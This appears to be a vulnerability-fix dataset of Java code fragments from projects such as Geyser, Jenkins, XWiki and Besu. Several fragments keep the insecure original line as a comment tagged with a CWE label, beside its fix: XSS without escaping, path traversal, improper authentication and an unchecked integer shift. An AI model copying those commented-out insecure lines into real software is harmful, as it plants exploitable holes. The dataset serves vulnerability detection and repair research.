hgMaterialConfig.setEncryptedPassword(\"encryptedPassword\");\n\n final boolean validationResult = hgMaterialConfig.validateTree(new ConfigSaveValidationContext(null));\n\n assertThat(validationResult).isFalse();\n assertThat(hgMaterialConfig.errors().on(\"encryptedPassword\"))\n .isEqualT<|endoftext|>"} +{"language": "java", "text": "://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;\nimport com.nukkitx.protocol.bedrock.data.AttributeData;\nimport com.nukkitx.protocol.bedrock.packet.NetworkStackLatencyPacket;\nimport com.nukkitx.protocol.bedrock.packet.UpdateAttributesPacket;\nimport org.geysermc.connector.entity.attribute.GeyserAttributeType;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.floodgate.util.DeviceOs;\n\nimport java.util.Collections;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Used to send the forwarded keep alive packet back to the server\n */\n@Translator(packet = NetworkStackLatencyPacket.class)\npublic class BedrockNetworkStackLatencyTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(NetworkStackLatencyPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, NetworkStackLatencyPacket packet) {\n long pingId;\n // so apparently, as of 1.16.200\n // PS4 divides the network stack latency timestamp FOR US!!!\n // WTF\n if (session.getClientData().getDeviceOs().equals(DeviceOs.PS4)) {\n pingId = packet.getTimestamp();\n } else {\n pingId = packet.getTimestamp() / 1000;\n }\n\n // negative timestamps are used as hack to fix the url image loading bug\n if (packet.getTimestamp() > 0) {\n if (session.getConnector().getConfig().isForwardPlayerPing()) {\n ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(pingId);\n session.sendDownstreamPacket(keepAlivePacket);\n }\n return;\n }\n\n // Hack to fix the url image loading bug\n UpdateAttributesPacket attributesPacket = new UpdateAttributesPacket();\n attributesPacket.setRuntimeEntityId(session.getPlayerEntity().getGeyserId());\n\n AttributeData attribute = session.getPlayerEntity().getAttributes().get(GeyserAttributeType.EXPERIENCE_LEVEL);\n if (attribute != null) {\n <|endoftext|>"} +{"language": "java", "text": "Update(\"javax.faces.Resource\");\n updateStarted = true;\n }\n\n resource.encodeAll(context);\n }\n }\n\n if (updateStarted) {\n writer.endUpdate();\n }\n }\n \n private void renderState(FacesContext context) throws IOException {\n // Get the view state and write it to the response..\n PartialViewContext pvc = context.getPartialViewContext();\n PartialResponseWriter writer = pvc.getPartialResponseWriter();\n String viewStateId = Util.getViewStateId(context);\n\n writer.startUpdate(viewStateId);\n String state = context.getApplication().getStateManager().getViewState(context);\n writer.write(state);\n writer.endUpdate();\n\n ClientWindow window = context.getExternalContext().getClientWindow();\n if (null != window) {\n String clientWindowId = Util.getClientWindowId(context);\n writer.startUpdate(clientWindowId);\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // writer.write(window.getId());\n // FIXED: \n writer.writeText(window.getId(), null);\n writer.endUpdate();\n }\n }\n\n\tprivate void renderEvalScripts(FacesContext context) throws IOException {\n\t\tPartialViewContext pvc = context.getPartialViewContext();\n\t\tPartialResponseWriter writer = pvc.getPartialResponseWriter();\n\n\t\tfor (String evalScript : pvc.getEvalScripts()) {\n\t\t\twriter.startEval();\n\t\t\twriter.write(evalScript);\n\t\t\twriter.endEval();\n\t\t}\n\t}\n\n private PartialResponseWriter createPartialResponseWriter() {\n\n ExternalContext extContext = ctx.getExternalContext();\n String encoding = extContext.getRequestCharacterEncoding();\n extContext.setResponseCharacterEncoding(encoding);\n ResponseWriter responseWriter = null;\n Writer out = null;\n try {\n out = extContext.getResponseOutputWriter();\n } catch (IOException ioe) {\n if (LOGGER.isLoggable(Level.SEVERE)) {\n LOGGER.log(Level.SEVERE,\n ioe.toString(),\n ioe);\n }\n }\n\n if (out != null) {\n UIViewRoot viewRoot = ctx.getViewRoot();\n if (viewRoot != null) {\n <|endoftext|>"} +{"language": "java", "text": " {\n return \"skins/\" + this.id + '/';\n }\n\n protected Configuration getProperties()\n {\n if (this.properties == null) {\n URL url = getResourceURL(getPropertiesPath());\n if (url != null) {\n try {\n this.properties = new Configurations().properties(url);\n } catch (ConfigurationException e) {\n LOGGER.error(\"Failed to load skin [{}] properties file ([])\", this.id, url,\n getRootCauseMessage(e));\n\n this.properties = new BaseConfiguration();\n }\n } else {\n LOGGER.debug(\"No properties found for skin [{}]\", this.id);\n\n this.properties = new BaseConfiguration();\n }\n }\n\n return this.properties;\n }\n\n private String getSkinResourcePath(String resource)\n {\n String skinFolder = getSkinFolder();\n String resourcePath = skinFolder + resource;\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // // Prevent inclusion of templates from other directories\n // FIXED:\n // Prevent access to resources from other directories\n Path normalizedResource = Paths.get(resourcePath).normalize();\n // Protect against directory attacks.\n if (!normalizedResource.startsWith(skinFolder)) {\n LOGGER.warn(\"Direct access to skin file [{}] refused. Possible break-in attempt!\", normalizedResource);\n return null;\n }\n\n return resourcePath;\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientVehicleMovePacket;\nimport com.nukkitx.protocol.bedrock.packet.MoveEntityAbsolutePacket;\nimport org.geysermc.connector.entity.BoatEntity;\nimport org.geysermc.connector.entity.type.EntityType;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * Sent by the client when moving a horse.\n */\n@Translator(packet = MoveEntityAbsolutePacket.class)\npublic class BedrockMoveEntityAbsoluteTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(MoveEntityAbsolutePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, MoveEntityAbsolutePacket packet) {\n session.setLastVehicleMoveTimestamp(System.currentTimeMillis());\n\n float y = packet.getPosition().getY();\n if (session.getRidingVehicleEntity() instanceof BoatEntity) {\n // Remove the offset to prevents boats from looking like they're floating in water\n y -= EntityType.BOAT.getOffset();\n }\n ClientVehicleMovePacket clientVehicleMovePacket = new ClientVehicleMovePacket(\n packet.getPosition().getX(), y, packet.getPosition().getZ(),\n packet.getRotation().getY() - 90, packet.getRotation().getX()\n );\n session.sendDownstreamPacket(clientVehicleMovePacket);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "A7 = 14;\n public static final int UC_CPU_ARM_CORTEX_A8 = 15;\n public static final int UC_CPU_ARM_CORTEX_A9 = 16;\n public static final int UC_CPU_ARM_CORTEX_A15 = 17;\n public static final int UC_CPU_ARM_TI925T = 18;\n public static final int UC_CPU_ARM_SA1100 = 19;\n public static final int UC_CPU_ARM_SA1110 = 20;\n public static final int UC_CPU_ARM_PXA250 = 21;\n public static final int UC_CPU_ARM_PXA255 = 22;\n public static final int UC_CPU_ARM_PXA260 = 23;\n public static final int UC_CPU_ARM_PXA261 = 24;\n public static final int UC_CPU_ARM_PXA262 = 25;\n public static final int UC_CPU_ARM_PXA270 = 26;\n public static final int UC_CPU_ARM_PXA270A0 = 27;\n public static final int UC_CPU_ARM_PXA270A1 = 28;\n public static final int UC_CPU_ARM_PXA270B0 = 29;\n public static final int UC_CPU_ARM_PXA270B1 = 30;\n public static final int UC_CPU_ARM_PXA270C0 = 31;\n public static final int UC_CPU_ARM_PXA270C5 = 32;\n public static final int UC_CPU_ARM_MAX = 33;\n // BUG: CWE-665 Improper Initialization\n // \n // FIXED: \n public static final int UC_CPU_ARM_ENDING = 34;\n\n// ARM registers\n\n public static final int UC_ARM_REG_INVALID = 0;\n public static final int UC_ARM_REG_APSR = 1;\n public static final int UC_ARM_REG_APSR_NZCV = 2;\n public static final int UC_ARM_REG_CPSR = 3;\n public static final int UC_ARM_REG_FPEXC = 4;\n public static final int UC_ARM_REG_FPINST = 5;\n public static final int UC_ARM_REG_FPSCR = 6;\n public static final int UC_ARM_REG_FPSCR_NZCV = 7;\n public static final int UC_ARM_REG_FPSID = 8;\n public static final int UC_ARM_REG_ITSTATE = 9;\n public static final int UC_ARM_REG_LR = 10;\n public static final int UC_ARM_REG_PC = 11;\n public static final int UC_ARM_REG_SP = 12;\n public static final int UC_ARM_REG_SPSR = 13;\n public static final int UC_ARM_REG_D0 = 14;\n public static final int UC_ARM_REG_D1 = 15;\n public static final int UC_ARM_REG_D2 = 16;\n public static final int UC_ARM_REG_D3 = 17;\n public static final int UC_ARM_REG_D4 = 18;\n public static final int UC_ARM_REG_D5 = 19;\n public static final int UC_ARM_REG_D6 = 20;\n public static final int UC_ARM_REG_D7 = 21;\n public static final int UC_ARM_REG_D8 = 22;\n public static<|endoftext|>"} +{"language": "java", "text": "ntent length or transfer encoding that indicates there is a body\n boolean hasBody = (contentLength > 0) || (transferEncoding != null);\n\n RequestBody requestBody = hasBody ? new RequestBody(contentLength, nettyRequest, ctx) : null;\n\n Channel channel = ctx.channel();\n\n if (requestBody != null) {\n channel.attr(BODY_ACCUMULATOR_KEY).set(requestBody);\n }\n InetSocketAddress remoteAddress = (InetSocketAddress) channel.remoteAddress();\n InetSocketAddress socketAddress = (InetSocketAddress) channel.localAddress();\n\n ConnectionIdleTimeout connectionIdleTimeout = ConnectionIdleTimeout.of(channel);\n\n DefaultRequest request = new DefaultRequest(\n clock.instant(),\n requestHeaders,\n nettyRequest.method(),\n nettyRequest.protocolVersion(),\n nettyRequest.uri(),\n remoteAddress,\n socketAddress,\n serverRegistry.get(ServerConfig.class),\n requestBody,\n connectionIdleTimeout,\n channel.attr(CLIENT_CERT_KEY).get()\n );\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // HttpHeaders nettyHeaders = new DefaultHttpHeaders(false);\n // FIXED: \n HttpHeaders nettyHeaders = new DefaultHttpHeaders();\n MutableHeaders responseHeaders = new NettyHeadersBackedMutableHeaders(nettyHeaders);\n AtomicBoolean transmitted = new AtomicBoolean(false);\n\n DefaultResponseTransmitter responseTransmitter = new DefaultResponseTransmitter(transmitted, channel, clock, nettyRequest, request, nettyHeaders, requestBody);\n\n ctx.channel().attr(DefaultResponseTransmitter.ATTRIBUTE_KEY).set(responseTransmitter);\n\n Action> subscribeHandler = thing -> {\n transmitted.set(true);\n ctx.channel().attr(CHANNEL_SUBSCRIBER_ATTRIBUTE_KEY).set(thing);\n };\n\n DefaultContext.RequestConstants requestConstants = new DefaultContext.RequestConstants(\n applicationConstants,\n request,\n channel,\n responseTransmitter,\n subscribeHandler\n );\n\n Response response = new DefaultResponse(responseHeaders, ctx.alloc(), responseTransmitter);\n requestConstants.response = response;\n\n DefaultContext.start(channel.eventLoop(), requestConstants, serverRegistry, handlers, execution -> {\n if (!transmitted.get()) {\n Handler lastHandler = requestConstants.handler;\n StringBuilder description <|endoftext|>"} +{"language": "java", "text": " EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.packet.PacketViolationWarningPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = PacketViolationWarningPacket.class)\npublic class BedrockPacketViolationWarningTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(PacketViolationWarningPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, PacketViolationWarningPacket packet) {\n // Not translated since this is something that the developers need to know\n session.getConnector().getLogger().error(\"Packet violation warning sent from client! \" + packet.toString());\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientCloseWindowPacket;\nimport com.nukkitx.protocol.bedrock.packet.ContainerClosePacket;\nimport org.geysermc.connector.inventory.Inventory;\nimport org.geysermc.connector.inventory.MerchantContainer;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.InventoryUtils;\n\n@Translator(packet = ContainerClosePacket.class)\npublic class BedrockContainerCloseTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ContainerClosePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ContainerClosePacket packet) {\n byte windowId = packet.getId();\n\n //Client wants close confirmation\n session.sendUpstreamPacket(packet);\n session.setClosingInventory(false);\n\n if (windowId == -1 && session.getOpenInventory() instanceof MerchantContainer) {\n // 1.16.200 - window ID is always -1 sent from Bedrock\n windowId = (byte) session.getOpenInventory().getId();\n }\n\n Inventory openInventory = session.getOpenInventory();\n if (openInventory != null) {\n if (windowId == openInventory.getId()) {\n ClientCloseWindowPacket closeWindowPacket = new ClientCloseWindowPacket(windowId);\n session.sendDownstreamPacket(closeWindowPacket);\n InventoryUtils.closeInventory(session, windowId, false);\n } else if (openInventory.isPending()) {\n InventoryUtils.displayInventory(session, openInventory);\n openInventory.setPending(false);\n }\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "les@hotmail.com\">Rick Knowles\n * @version $Id: ErrorServlet.java,v 1.3 2006/02/28 07:32:47 rickknowles Exp $\n */\npublic class ErrorServlet extends HttpServlet {\n \n public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {\n \n Integer sc = (Integer) request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE);\n String msg = (String) request.getAttribute(RequestDispatcher.ERROR_MESSAGE);\n Throwable err = (Throwable) request.getAttribute(RequestDispatcher.ERROR_EXCEPTION);\n \n StringWriter sw = new StringWriter();\n PrintWriter pw = new PrintWriter(sw);\n if (err != null) {\n err.printStackTrace(pw);\n } else {\n pw.println(\"(none)\");\n }\n pw.flush();\n \n // If we are here there was no error servlet, so show the default error page\n String output = Launcher.RESOURCES.getString(\"WinstoneResponse.ErrorPage\",\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // new String[] { sc + \"\", (msg == null ? \"\" : msg), sw.toString(),\n // FIXED:\n new String[] { sc + \"\", URIUtil.htmlEscape(msg == null ? \"\" : msg), URIUtil.htmlEscape(sw.toString()),\n Launcher.RESOURCES.getString(\"ServerVersion\"),\n \"\" + new Date() });\n response.setContentLength(output.getBytes(response.getCharacterEncoding()).length);\n Writer out = response.getWriter();\n out.write(output);\n out.flush();\n }\n}\n<|endoftext|>"} +{"language": "java", "text": ".0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.uberfire.security.server;\n\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.uberfire.security.Resource;\nimport org.uberfire.security.ResourceManager;\nimport org.uberfire.security.Role;\nimport org.uberfire.security.impl.RoleImpl;\n// BUG: CWE-264 Permissions, Privileges, and Access Controls\n// import org.uberfire.security.server.util.AntPathMatcher;\n// FIXED:\nimport org.uberfire.commons.regex.util.AntPathMatcher;\nimport org.yaml.snakeyaml.Yaml;\n\nimport static java.util.Collections.*;\nimport static org.uberfire.commons.validation.PortablePreconditions.checkNotNull;\nimport static org.uberfire.commons.validation.Preconditions.*;\nimport static org.uberfire.security.server.SecurityConstants.*;\n\npublic class URLResourceManager implements ResourceManager {\n\n private static final AntPathMatcher ANT_PATH_MATCHER = new AntPathMatcher();\n private static final Collection> SUPPORTED_TYPES = new ArrayList>( 1 ) {{\n add( URLResource.class );\n }};\n\n private static final String DEFAULT_CONFIG = \"exclude:\\n\" +\n \" - /*.ico\\n\" +\n \" - /image/**\\n\" +\n \" - /css/**\";\n\n private String configFile = URL_FILTER_CONFIG_YAML;\n\n private final Resources resources;\n private final Set excludeCache = Collections.newSetFromMap( new ConcurrentHashMap() );\n\n public URLResourceManager( final String configFile ) {\n if ( configFile != null && !configFile.isEmpty() ) {\n this.configFile = configFile;\n }\n <|endoftext|>"} +{"language": "java", "text": "ER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.data.entity.EntityFlag;\nimport com.nukkitx.protocol.bedrock.packet.SetLocalPlayerAsInitializedPacket;\nimport org.geysermc.connector.entity.player.PlayerEntity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.skin.SkinManager;\nimport org.geysermc.connector.skin.SkullSkinManager;\n\n@Translator(packet = SetLocalPlayerAsInitializedPacket.class)\npublic class BedrockSetLocalPlayerAsInitializedTranslator extends PacketTranslator {\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(SetLocalPlayerAsInitializedPacket packet, GeyserSession session) {\n // FIXED:\n public void translate(GeyserSession session, SetLocalPlayerAsInitializedPacket packet) {\n if (session.getPlayerEntity().getGeyserId() == packet.getRuntimeEntityId()) {\n if (!session.getUpstream().isInitialized()) {\n session.getUpstream().setInitialized(true);\n session.login();\n\n for (PlayerEntity entity : session.getEntityCache().getEntitiesByType(PlayerEntity.class)) {\n if (!entity.isValid()) {\n SkinManager.requestAndHandleSkinAndCape(entity, session, null);\n entity.sendPlayer(session);\n }\n }\n\n // Send Skulls\n for (PlayerEntity entity : session.getSkullCache().values()) {\n entity.spawnEntity(session);\n\n SkullSkinManager.requestAndHandleSkin(entity, session, (skin) -> {\n entity.getMetadata().getFlags().setFlag(EntityFlag.INVISIBLE, false);\n entity.updateBedrockMetadata(session);\n });\n }\n }\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "me.client.window.ClientEditBookPacket;\nimport com.github.steveice10.opennbt.tag.builtin.CompoundTag;\nimport com.github.steveice10.opennbt.tag.builtin.ListTag;\nimport com.github.steveice10.opennbt.tag.builtin.StringTag;\nimport com.github.steveice10.opennbt.tag.builtin.Tag;\nimport com.nukkitx.protocol.bedrock.packet.BookEditPacket;\nimport org.geysermc.connector.inventory.GeyserItemStack;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\n\n@Translator(packet = BookEditPacket.class)\npublic class BedrockBookEditTranslator extends PacketTranslator {\n private static final int MAXIMUM_PAGE_LENGTH = 8192 * 4;\n private static final int MAXIMUM_TITLE_LENGTH = 128 * 4;\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(BookEditPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, BookEditPacket packet) {\n if (packet.getText() != null && !packet.getText().isEmpty() && packet.getText().getBytes(StandardCharsets.UTF_8).length > MAXIMUM_PAGE_LENGTH) {\n session.getConnector().getLogger().warning(\"Page length greater than server allowed!\");\n return;\n }\n\n GeyserItemStack itemStack = session.getPlayerInventory().getItemInHand();\n if (itemStack != null) {\n CompoundTag tag = itemStack.getNbt() != null ? itemStack.getNbt() : new CompoundTag(\"\");\n ItemStack bookItem = new ItemStack(itemStack.getJavaId(), itemStack.getAmount(), tag);\n List pages = tag.contains(\"pages\") ? new LinkedList<>(((ListTag) tag.get(\"pages\")).getValue()) : new LinkedList<>();\n\n int page = packet.getPageNumber();\n switch (packet.getAction()) {\n case ADD_PAGE: {\n // Add empty pages in between\n for (int i = pages.size(); i < page; i++) {\n pages.add(i, new StringTag(\"\", \"\"));\n }\n pages.add(page, new StringTag(\"\", packet.getText()));\n<|endoftext|>"} +{"language": "java", "text": "metaVar=\"NAME\",usage=\"Name of the job to create\",required=true)\n public String name;\n\n protected int run() throws Exception {\n Jenkins h = Jenkins.getInstance();\n h.checkPermission(Item.CREATE);\n\n if (h.getItemByFullName(name)!=null) {\n stderr.println(\"Job '\"+name+\"' already exists\");\n return -1;\n }\n\n ModifiableTopLevelItemGroup ig = h;\n int i = name.lastIndexOf('/');\n if (i > 0) {\n String group = name.substring(0, i);\n Item item = h.getItemByFullName(group);\n if (item == null) {\n throw new IllegalArgumentException(\"Unknown ItemGroup \" + group);\n }\n\n if (item instanceof ModifiableTopLevelItemGroup) {\n ig = (ModifiableTopLevelItemGroup) item;\n } else {\n throw new IllegalArgumentException(\"Can't create job from CLI in \" + group);\n }\n name = name.substring(i + 1);\n }\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // \n // FIXED:\n Jenkins.checkGoodName(name);\n ig.createProjectFromXML(name, stdin);\n return 0;\n }\n}\n\n\n<|endoftext|>"} +{"language": "java", "text": "dex after the last valid index in {@link #_outputBuffer}.\n * Typically same as length of the buffer.\n */\n protected final int _outputEnd;\n\n /**\n * Intermediate buffer in which characters of a String are copied before\n * being encoded.\n */\n protected char[] _charBuffer;\n\n protected final int _charBufferLength;\n\n /**\n * Let's keep track of how many bytes have been output, may prove useful\n * when debugging. This does not include bytes buffered in the output\n * buffer, just bytes that have been written using underlying stream writer.\n */\n protected int _bytesWritten;\n\n /*\n /**********************************************************\n /* Tracking of remaining elements to write\n /**********************************************************\n */\n\n protected int[] _elementCounts = NO_INTS;\n\n protected int _elementCountsPtr;\n\n /**\n * Number of elements remaining in the current complex structure (if any),\n // BUG: CWE-770 Allocation of Resources Without Limits or Throttling\n // * when writing defined-length Arrays, Objects; marker {@link #INDEFINITE_LENGTH}\n // FIXED: \n * when writing defined-length Arrays, Objects; marker {code INDEFINITE_LENGTH}\n * otherwise.\n */\n protected int _currentRemainingElements = INDEFINITE_LENGTH;\n\n /*\n /**********************************************************\n /* Shared String detection\n /**********************************************************\n */\n\n /**\n * Flag that indicates whether the output buffer is recycable (and needs to\n * be returned to recycler once we are done) or not.\n */\n protected boolean _bufferRecyclable;\n\n /*\n /**********************************************************\n /* Life-cycle\n /**********************************************************\n */\n\n public CBORGenerator(IOContext ctxt, int stdFeatures, int formatFeatures,\n ObjectCodec codec, OutputStream out) {\n super(stdFeatures, codec, /* Write Context */ null);\n DupDetector dups = JsonGenerator.Feature.STRICT_DUPLICATE_DETECTION.enabledIn(stdFeatures)\n ? DupDetector.rootDetector(this)\n : null;\n // NOTE: we passed `null` for default write context\n _cborContext = CBORWriteContext.createRootContext(dups);\n <|endoftext|>"} +{"language": "java", "text": "ledger.besu.evm.operation;\n\nimport static org.apache.tuweni.bytes.Bytes32.leftPad;\n\nimport org.hyperledger.besu.evm.EVM;\nimport org.hyperledger.besu.evm.frame.MessageFrame;\nimport org.hyperledger.besu.evm.gascalculator.GasCalculator;\n\nimport org.apache.tuweni.bytes.Bytes;\nimport org.apache.tuweni.units.bigints.UInt256;\n\npublic class ShrOperation extends AbstractFixedCostOperation {\n\n public ShrOperation(final GasCalculator gasCalculator) {\n super(0x1c, \"SHR\", 2, 1, 1, gasCalculator, gasCalculator.getVeryLowTierGasCost());\n }\n\n @Override\n public Operation.OperationResult executeFixedCostOperation(\n final MessageFrame frame, final EVM evm) {\n Bytes shiftAmount = frame.popStackItem();\n if (shiftAmount.size() > 4 && (shiftAmount = shiftAmount.trimLeadingZeros()).size() > 4) {\n frame.popStackItem();\n frame.pushStackItem(UInt256.ZERO);\n } else {\n final int shiftAmountInt = shiftAmount.toInt();\n final Bytes value = leftPad(frame.popStackItem());\n // BUG: CWE-681 Incorrect Conversion between Numeric Types\n // if (shiftAmountInt >= 256) {\n // FIXED: \n if (shiftAmountInt >= 256 || shiftAmountInt < 0) {\n frame.pushStackItem(UInt256.ZERO);\n } else {\n frame.pushStackItem(value.shiftRight(shiftAmountInt));\n }\n }\n return successResponse;\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport org.geysermc.common.PlatformType;\nimport org.geysermc.connector.GeyserConnector;\nimport org.geysermc.connector.command.CommandManager;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;\nimport com.nukkitx.protocol.bedrock.packet.CommandRequestPacket;\nimport org.geysermc.connector.network.translators.chat.MessageTranslator;\n\n@Translator(packet = CommandRequestPacket.class)\npublic class BedrockCommandRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(CommandRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, CommandRequestPacket packet) {\n String command = packet.getCommand().replace(\"/\", \"\");\n CommandManager commandManager = GeyserConnector.getInstance().getCommandManager();\n if (session.getConnector().getPlatformType() == PlatformType.STANDALONE && command.trim().startsWith(\"geyser \") && commandManager.getCommands().containsKey(command.split(\" \")[1])) {\n commandManager.runCommand(session, command);\n } else {\n String message = packet.getCommand().trim();\n\n if (MessageTranslator.isTooLong(message, session)) {\n return;\n }\n\n ClientChatPacket chatPacket = new ClientChatPacket(message);\n session.sendDownstreamPacket(chatPacket);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " private P2PNetwork p2PNetwork;\n\n @Before\n public void before() {\n this.method = new NetListening(p2PNetwork);\n }\n\n @Test\n public void shouldReturnTrueWhenNetworkIsListening() {\n when(p2PNetwork.isListening()).thenReturn(true);\n\n final JsonRpcRequestContext request = netListeningRequest();\n final JsonRpcResponse expectedResponse = new JsonRpcSuccessResponse(null, true);\n\n Assertions.assertThat(method.response(request))\n .isEqualToComparingFieldByField(expectedResponse);\n }\n\n @Test\n public void shouldReturnFalseWhenNetworkIsNotListening() {\n when(p2PNetwork.isListening()).thenReturn(false);\n\n final JsonRpcRequestContext request = netListeningRequest();\n final JsonRpcResponse expectedResponse = new JsonRpcSuccessResponse(null, false);\n\n Assertions.assertThat(method.response(request))\n .isEqualToComparingFieldByField(expectedResponse);\n }\n\n @Test\n public void getPermissions() {\n List permissions = method.getPermissions();\n // BUG: CWE-400 Uncontrolled Resource Consumption\n // assertThat(permissions).containsExactlyInAnyOrder(\"net:*\", \"net:listening\", \"*:*\");\n // FIXED: \n assertThat(permissions).containsExactly(\"*:*\", \"net:*\", \"net:listening\");\n }\n\n private JsonRpcRequestContext netListeningRequest() {\n return new JsonRpcRequestContext(new JsonRpcRequest(\"2.0\", \"net_listening\", new Object[] {}));\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "TWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock.entity.player;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.PlayerAction;\nimport com.github.steveice10.mc.protocol.data.game.world.block.BlockFace;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerActionPacket;\nimport com.nukkitx.protocol.bedrock.packet.EmotePacket;\nimport org.geysermc.connector.configuration.EmoteOffhandWorkaroundOption;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport 